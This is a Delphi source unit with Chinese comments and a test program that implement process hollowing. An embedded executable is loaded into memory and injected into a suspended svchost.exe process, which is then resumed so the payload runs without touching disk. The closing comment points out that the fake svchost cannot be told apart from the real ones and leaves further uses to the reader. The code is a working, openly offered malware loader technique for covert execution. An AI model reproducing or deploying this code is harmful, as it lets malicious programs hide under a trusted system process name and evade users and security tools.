unit PE;
interface
uses windows;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
implementation
type
TImageSectionHeaders = array[0..0] of TImageSectionHeader;
PImageSectionHeaders = ^TImageSectionHeaders;
{ 计算对齐后的大小 }

function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal;
begin
result := (Origin + Alignment - 1) div Alignment * Alignment;
end;

{ 计算加载pe并对齐需要占用多少内存，未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 }

function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders;
peSecH: PImageSectionHeaders): Cardinal;
var
i: Integer;
begin
{计算pe头的大小}
result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment);

{计算所有节的大小}
for i := 0 to peH.FileHeader.NumberOfSections - 1 do
if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围
begin
result := 0;
exit;
end
else if peSecH[i].VirtualAddress <> 0 then //计算对齐后某节的大小
if peSecH[i].Misc.VirtualSize <> 0 then
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)
else
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)
else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment)
else
result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment);
end;

{ 加载pe到内存并对齐所有节 }

function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders;
var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean;
var
SrcMz: PImageDosHeader; // DOS头
SrcPeH: PImageNtHeaders; // PE头
SrcPeSecH: PImageSectionHeaders; // 节表
i: Integer;
l: Cardinal;
Pt: Pointer;
begin
result := false;
SrcMz := @Buf;
if Len < sizeof(TImageDosHeader) then exit;
if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit;
if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit;
SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew);
if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0) or
(SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0)
or (SrcPeH.FileHeader.SizeOfOptionalHeader <> SizeOf(TImageOptionalHeader)) then exit;
SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders));
ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH);
if ImageSize = 0 then
exit;
Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存
if Mem <> nil then
begin
// 计算需要复制的PE头字节数
l := SrcPeH.OptionalHeader.SizeOfHeaders;
for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do
if (SrcPeSecH[i].PointerToRawData <> 0) and (SrcPeSecH[i].PointerToRawData < l) then
l := SrcPeSecH[i].PointerToRawData;
Move(SrcMz^, Mem^, l);
PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew);
PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders));
Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment));
for i := 0 to PeH.FileHeader.NumberOfSections - 1 do
begin
// 定位该节在内存中的位置
if PeSecH[i].VirtualAddress <> 0 then
Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress);
if PeSecH[i].SizeOfRawData <> 0 then
begin
// 复制数据到内存
Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData);
if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment))
else
pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment));
// pt 定位到下一节开始位置
end
else
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment));
end;
result := True;
end;
end;

type
TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;

var
MyVirtualAllocEx: TVirtualAllocEx = nil;

function IsNT: Boolean;
begin
result := Assigned(MyVirtualAllocEx);
end;

{ 生成外壳程序命令行 }
function PrepareShellExe(CmdParam: string ): string;
begin
{这里的路径 自己定义了^_^，仅仅是外壳程序}
//result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ;
result := 'c:\windows\system32\svchost.exe' + cmdparam;

end;

{ 是否包含可重定向列表 }
function HasRelocationTable(peH: PImageNtHeaders): Boolean;
begin
result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0)
and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size <> 0);
end;

type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: cardinal;
SizeOfBlock: cardinal;
end;

{ 重定向PE用到的地址 }
procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer);
var
Delta: Cardinal;
p: PImageBaseRelocation;
pw: PWord;
i: Integer;
begin
Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase;
p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (p.VirtualAddress + p.SizeOfBlock <> 0) do
begin
pw := pointer(Integer(p) + Sizeof(p^));
for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do
begin
if pw^ and $F000 = $3000 then
Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta);
inc(pw);
end;
p := Pointer(pw);
end;
end;

type
TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall;

{ 卸载原外壳占用内存 }
function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean;
var
M: HModule;
ZwUnmapViewOfSection: TZwUnmapViewOfSection;
begin
result := False;
m := LoadLibrary('ntdll.dll');
if m <> 0 then
begin
ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection');
if assigned(ZwUnmapViewOfSection) then
result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0);
FreeLibrary(m);
end;
end;

{ 创建外壳进程并获取其基址、大小和当前运行状态 }
function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean;
var
si: TStartUpInfo;
pi: TProcessInformation;
Old: Cardinal;
MemInfo: TMemoryBasicInformation;
p: Pointer;
begin
FillChar(si, Sizeof(si), 0);
FillChar(pi, SizeOf(pi), 0);
si.cb := sizeof(si);
result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程
if result then
begin
ProcHnd := pi.hProcess;
ThrdHnd := pi.hThread;
ProcId := pi.dwProcessId;

{ 获取外壳进程运行状态，[ctx.Ebx+8]内存处存的是外壳进程的加载基址，ctx.Eax存放有外壳进程的入口地址 }
ctx.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThrdHnd, ctx);
ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址
p := Pointer(BaseAddr);

{ 计算外壳进程占有的内存 }
while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0 do
begin
if MemInfo.State = MEM_FREE then
break;
p := Pointer(Cardinal(p) + MemInfo.RegionSize);
end;
ImageSize := Cardinal(p) - Cardinal(BaseAddr);
end;
end;

{ 创建外壳进程并用目标进程替换它然后执行 }
function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders;
Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal;
var
s: string;
Addr, Size: Cardinal;
ctx: TContext;
Old: Cardinal;
p: Pointer;
Thrd: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize});
if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then
begin
p := nil;
if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致
begin
p := Pointer(Addr);
VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old);
end
else if IsNT then // 98 下失败
begin
if UnloadShell(result, Addr) then // 卸载外壳进程占有内存
// 重新按目标进程加载基址和大小分配内存
p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向
begin
// 按任意基址分配内存
p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if p <> nil then
DoRelocation(peH, Ptr, p); // 重定向
end;
end;
if p <> nil then
begin
WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址
peH.OptionalHeader.ImageBase := Cardinal(p);
if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程
begin
ctx.ContextFlags := CONTEXT_FULL;
if Cardinal(p) = Addr then
ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址
else
ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(Thrd, ctx); // 更新运行环境
ResumeThread(Thrd); // 执行
CloseHandle(Thrd);
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end;
end;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
var
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
Ptr: Pointer;
peSz: Cardinal;
begin
result := INVALID_HANDLE_VALUE;

if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then
begin
result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId);
VirtualFree(Ptr, peSz, MEM_DECOMMIT);
//VirtualFree(Ptr, 0, MEM_RELEASE);
end;
end;

initialization
MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx');

end.

///////////////////////////////////////////////////////////////////////
{测试：你可以把任何一个exe文件 作成资源然后这样调用}
program test;

//{$APPTYPE CONSOLE}

{$R 'data.res' 'data.rc'}//加入exe资源文件

uses
windows,
PE in 'PE.pas'; //引用上面的单元
var
ProcessId: Cardinal;
ResourceLocation: HRSRC;
Size: Longword;
ResDataHandle: THandle;
ResourcePointer: PChar;

begin
ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA);
if ResourceLocation <> 0 then
begin
Size := SizeofResource(HInstance, ResourceLocation);
if Size <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle <> 0 then
begin
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer <> nil then
begin
MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可
end;
end;
end;
end;
end.
{运行一下你会看到 资源里的的exe 运行了 ，程序没有生成exe文件，而是直接从内存里加载并且执行的。
打开任务管理器看一下，比原来多了一个svchost.exe 的进程（进程路径：c:\windows\system32\svchost.exe
就是你在pe 单元里面设定的路径，当然你还任意修改）。你在进程列表里一定看到了多个svchost的进程项目，^_^ 或许
你分辨不出哪一个是你刚才启动的<伪svchost>了。基本就是这样，至于用途自己发挥了，上面只是简单测试一下。}